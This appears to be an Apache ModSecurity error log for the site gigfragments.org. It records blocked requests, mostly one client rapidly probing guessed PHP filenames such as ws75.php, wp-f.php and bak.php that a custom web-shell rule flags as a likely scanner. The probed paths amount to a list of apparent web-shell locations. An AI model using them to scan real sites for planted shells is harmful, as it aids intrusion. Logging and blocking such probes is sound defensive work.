[Sat Feb 28 12:26:15.862479 2026] [:error] [pid 22194:tid 22217] [client 167.86.118.77:51914] [client 167.86.118.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 5 at IP:ddos. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "10"] [id "400002"] [msg "DDoS threshold exceeded for 167.86.118.77, counter = 20"] [hostname "www.gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaJuZ36mbajs3bzQGys1JgAAAVU"], referer: binance.com
[Sat Feb 28 12:31:51.570765 2026] [:error] [pid 22194:tid 22215] [client 20.151.113.230:24545] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/8.php"] [unique_id "aaJvt36mbajs3bzQGys2ywAAAVM"]
[Sat Feb 28 12:31:51.986867 2026] [:error] [pid 52460:tid 52464] [client 20.151.113.230:24561] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/8.php"] [unique_id "aaJvt7LWOogAgHGh62QSKwAAAYE"]
[Sat Feb 28 12:31:52.394787 2026] [:error] [pid 52460:tid 52465] [client 20.151.113.230:24558] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/8.php"] [unique_id "aaJvuLLWOogAgHGh62QSMAAAAYI"]
[Sat Feb 28 12:31:52.819405 2026] [:error] [pid 52460:tid 52467] [client 20.151.113.230:24553] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/8.php"] [unique_id "aaJvuLLWOogAgHGh62QSNgAAAYQ"]
[Sat Feb 28 12:31:53.234168 2026] [:error] [pid 52460:tid 52464] [client 20.151.113.230:24565] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/shop.php"] [unique_id "aaJvubLWOogAgHGh62QSPQAAAYE"]
[Sat Feb 28 12:31:53.659405 2026] [:error] [pid 39292:tid 39301] [client 20.151.113.230:24547] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/shop.php"] [unique_id "aaJvuaIAO5fN7BxyqcHF0wAAAMc"]
[Sat Feb 28 12:31:54.072648 2026] [:error] [pid 39183:tid 39204] [client 20.151.113.230:24530] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/shop.php"] [unique_id "aaJvuhCf4HvhVePw3LbkCAAAAAw"]
[Sat Feb 28 12:31:54.481891 2026] [:error] [pid 52460:tid 52486] [client 20.151.113.230:24462] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/shop.php"] [unique_id "aaJvurLWOogAgHGh62QSTQAAAZc"]
[Sat Feb 28 12:31:54.900244 2026] [:error] [pid 39292:tid 39302] [client 20.151.113.230:24517] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cxxuv.php"] [unique_id "aaJvuqIAO5fN7BxyqcHF1QAAAMg"]
[Sat Feb 28 12:31:55.328745 2026] [:error] [pid 52460:tid 52481] [client 20.151.113.230:24386] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cxxuv.php"] [unique_id "aaJvu7LWOogAgHGh62QSWAAAAZI"]
[Sat Feb 28 12:31:55.737008 2026] [:error] [pid 52460:tid 52486] [client 20.151.113.230:24449] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cxxuv.php"] [unique_id "aaJvu7LWOogAgHGh62QSYAAAAZc"]
[Sat Feb 28 12:31:56.166984 2026] [:error] [pid 11791:tid 11806] [client 20.151.113.230:24575] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cxxuv.php"] [unique_id "aaJvvGuX5e1Q32gqxH0HIQAAAQ0"]
[Sat Feb 28 12:31:56.577400 2026] [:error] [pid 39185:tid 39264] [client 20.151.113.230:24556] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/b.php"] [unique_id "aaJvvBVE-FfM89u7BQagMgAAAJI"]
[Sat Feb 28 12:31:56.987481 2026] [:error] [pid 39292:tid 39296] [client 20.151.113.230:24527] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/b.php"] [unique_id "aaJvvKIAO5fN7BxyqcHF3gAAAMI"]
[Sat Feb 28 12:31:57.396923 2026] [:error] [pid 39185:tid 39255] [client 20.151.113.230:24552] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/b.php"] [unique_id "aaJvvRVE-FfM89u7BQagNwAAAIk"]
[Sat Feb 28 12:31:57.818068 2026] [:error] [pid 39292:tid 39312] [client 20.151.113.230:24448] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/b.php"] [unique_id "aaJvvaIAO5fN7BxyqcHF3wAAANI"]
[Sat Feb 28 12:31:58.226981 2026] [:error] [pid 39185:tid 39265] [client 20.151.113.230:24526] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gi.php"] [unique_id "aaJvvhVE-FfM89u7BQagOwAAAJM"]
[Sat Feb 28 12:31:58.639035 2026] [:error] [pid 11791:tid 11804] [client 20.151.113.230:24554] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gi.php"] [unique_id "aaJvvmuX5e1Q32gqxH0HLAAAAQs"]
[Sat Feb 28 12:31:59.051348 2026] [:error] [pid 39185:tid 39253] [client 20.151.113.230:24540] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gi.php"] [unique_id "aaJvvxVE-FfM89u7BQagPwAAAIc"]
[Sat Feb 28 12:31:59.461140 2026] [:error] [pid 39185:tid 39259] [client 20.151.113.230:24467] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gi.php"] [unique_id "aaJvvxVE-FfM89u7BQagQwAAAI0"]
[Sat Feb 28 12:31:59.871035 2026] [:error] [pid 52460:tid 52466] [client 20.151.113.230:24452] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/e0v9e95c.php"] [unique_id "aaJvv7LWOogAgHGh62QSawAAAYM"]
[Sat Feb 28 12:32:00.280132 2026] [:error] [pid 52460:tid 52483] [client 20.151.113.230:24457] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/e0v9e95c.php"] [unique_id "aaJvwLLWOogAgHGh62QSbwAAAZQ"]
[Sat Feb 28 12:32:00.691011 2026] [:error] [pid 52460:tid 52481] [client 20.151.113.230:24515] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/e0v9e95c.php"] [unique_id "aaJvwLLWOogAgHGh62QScgAAAZI"]
[Sat Feb 28 12:32:01.109409 2026] [:error] [pid 52460:tid 52474] [client 20.151.113.230:24461] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/e0v9e95c.php"] [unique_id "aaJvwbLWOogAgHGh62QSeAAAAYs"]
[Sat Feb 28 12:32:01.518796 2026] [:error] [pid 39185:tid 39257] [client 20.151.113.230:24450] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/2gz1dxix.php"] [unique_id "aaJvwRVE-FfM89u7BQagRgAAAIs"]
[Sat Feb 28 12:32:01.927892 2026] [:error] [pid 39183:tid 39194] [client 20.151.113.230:24478] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/2gz1dxix.php"] [unique_id "aaJvwRCf4HvhVePw3LbkDAAAAAI"]
[Sat Feb 28 12:32:02.335062 2026] [:error] [pid 11791:tid 11817] [client 20.151.113.230:24544] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/2gz1dxix.php"] [unique_id "aaJvwmuX5e1Q32gqxH0HOQAAARg"]
[Sat Feb 28 12:32:02.769318 2026] [:error] [pid 52460:tid 52483] [client 20.151.113.230:24521] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/2gz1dxix.php"] [unique_id "aaJvwrLWOogAgHGh62QSfAAAAZQ"]
[Sat Feb 28 12:32:03.180338 2026] [:error] [pid 39185:tid 39260] [client 20.151.113.230:24566] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ws75.php"] [unique_id "aaJvwxVE-FfM89u7BQagSwAAAI4"]
[Sat Feb 28 12:32:03.589466 2026] [:error] [pid 22194:tid 22202] [client 20.151.113.230:24397] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ws75.php"] [unique_id "aaJvw36mbajs3bzQGys21QAAAUY"]
[Sat Feb 28 12:32:03.997657 2026] [:error] [pid 39184:tid 39225] [client 20.151.113.230:24573] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ws75.php"] [unique_id "aaJvw1tZF9Zd_U7easDTNgAAAEY"]
[Sat Feb 28 12:32:04.409370 2026] [:error] [pid 52460:tid 52482] [client 20.151.113.230:24574] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ws75.php"] [unique_id "aaJvxLLWOogAgHGh62QSjAAAAZM"]
[Sat Feb 28 12:32:04.825045 2026] [:error] [pid 52460:tid 52469] [client 20.151.113.230:24572] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ws49.php"] [unique_id "aaJvxLLWOogAgHGh62QSkgAAAYY"]
[Sat Feb 28 12:32:05.234098 2026] [:error] [pid 52460:tid 52482] [client 20.151.113.230:24529] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ws49.php"] [unique_id "aaJvxbLWOogAgHGh62QSnQAAAZM"]
[Sat Feb 28 12:32:05.656592 2026] [:error] [pid 52460:tid 52466] [client 20.151.113.230:24453] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ws49.php"] [unique_id "aaJvxbLWOogAgHGh62QSoQAAAYM"]
[Sat Feb 28 12:32:06.090517 2026] [:error] [pid 52460:tid 52470] [client 20.151.113.230:24519] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ws49.php"] [unique_id "aaJvxrLWOogAgHGh62QSqQAAAYc"]
[Sat Feb 28 12:32:06.512470 2026] [:error] [pid 39185:tid 39249] [client 20.151.113.230:24451] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bak.php"] [unique_id "aaJvxhVE-FfM89u7BQagVAAAAIM"]
[Sat Feb 28 12:32:06.973771 2026] [:error] [pid 39183:tid 39199] [client 20.151.113.230:24542] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bak.php"] [unique_id "aaJvxhCf4HvhVePw3LbkEAAAAAc"]
[Sat Feb 28 12:32:07.408359 2026] [:error] [pid 39292:tid 39315] [client 20.151.113.230:24466] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bak.php"] [unique_id "aaJvx6IAO5fN7BxyqcHGAAAAANU"]
[Sat Feb 28 12:32:07.916291 2026] [:error] [pid 39292:tid 39303] [client 20.151.113.230:24511] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bak.php"] [unique_id "aaJvx6IAO5fN7BxyqcHGBQAAAMk"]
[Sat Feb 28 12:32:08.331534 2026] [:error] [pid 39185:tid 39269] [client 20.151.113.230:24569] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/Y5MxLiVO9nK.php"] [unique_id "aaJvyBVE-FfM89u7BQagWwAAAJc"]
[Sat Feb 28 12:32:08.776399 2026] [:error] [pid 39185:tid 39270] [client 20.151.113.230:24394] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/Y5MxLiVO9nK.php"] [unique_id "aaJvyBVE-FfM89u7BQagXgAAAJg"]
[Sat Feb 28 12:32:09.210780 2026] [:error] [pid 52460:tid 52464] [client 20.151.113.230:24549] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/Y5MxLiVO9nK.php"] [unique_id "aaJvybLWOogAgHGh62QSwAAAAYE"]
[Sat Feb 28 12:32:09.621127 2026] [:error] [pid 39185:tid 39258] [client 20.151.113.230:24502] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/Y5MxLiVO9nK.php"] [unique_id "aaJvyRVE-FfM89u7BQagZwAAAIw"]
[Sat Feb 28 12:32:10.034790 2026] [:error] [pid 52460:tid 52485] [client 20.151.113.230:24501] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-f.php"] [unique_id "aaJvyrLWOogAgHGh62QSxwAAAZY"]
[Sat Feb 28 12:32:10.444934 2026] [:error] [pid 11791:tid 11795] [client 20.151.113.230:24454] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-f.php"] [unique_id "aaJvymuX5e1Q32gqxH0HRQAAAQI"]
[Sat Feb 28 12:32:10.863099 2026] [:error] [pid 39292:tid 39300] [client 20.151.113.230:24479] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-f.php"] [unique_id "aaJvyqIAO5fN7BxyqcHGEAAAAMY"]
[Sat Feb 28 12:32:11.273354 2026] [:error] [pid 39183:tid 39193] [client 20.151.113.230:24514] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-f.php"] [unique_id "aaJvyxCf4HvhVePw3LbkFAAAAAE"]
[Sat Feb 28 12:32:11.687832 2026] [:error] [pid 39185:tid 39267] [client 20.151.113.230:24464] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/install.php"] [unique_id "aaJvyxVE-FfM89u7BQagcgAAAJU"]
[Sat Feb 28 12:32:12.121549 2026] [:error] [pid 22194:tid 22212] [client 20.151.113.230:24541] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/install.php"] [unique_id "aaJvzH6mbajs3bzQGys24wAAAVA"]
[Sat Feb 28 12:32:12.532976 2026] [:error] [pid 11791:tid 11816] [client 20.151.113.230:24331] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/install.php"] [unique_id "aaJvzGuX5e1Q32gqxH0HUgAAARc"]
[Sat Feb 28 12:32:12.950817 2026] [:error] [pid 11791:tid 11798] [client 20.151.113.230:24396] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/install.php"] [unique_id "aaJvzGuX5e1Q32gqxH0HVAAAAQU"]
[Sat Feb 28 12:32:13.373081 2026] [:error] [pid 52460:tid 52466] [client 20.151.113.230:24567] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/tx78.php"] [unique_id "aaJvzbLWOogAgHGh62QS4QAAAYM"]
[Sat Feb 28 12:32:13.782021 2026] [:error] [pid 11791:tid 11801] [client 20.151.113.230:24459] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/tx78.php"] [unique_id "aaJvzWuX5e1Q32gqxH0HWwAAAQg"]
[Sat Feb 28 12:32:14.190660 2026] [:error] [pid 39185:tid 39266] [client 20.151.113.230:24480] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/tx78.php"] [unique_id "aaJvzhVE-FfM89u7BQaggwAAAJQ"]
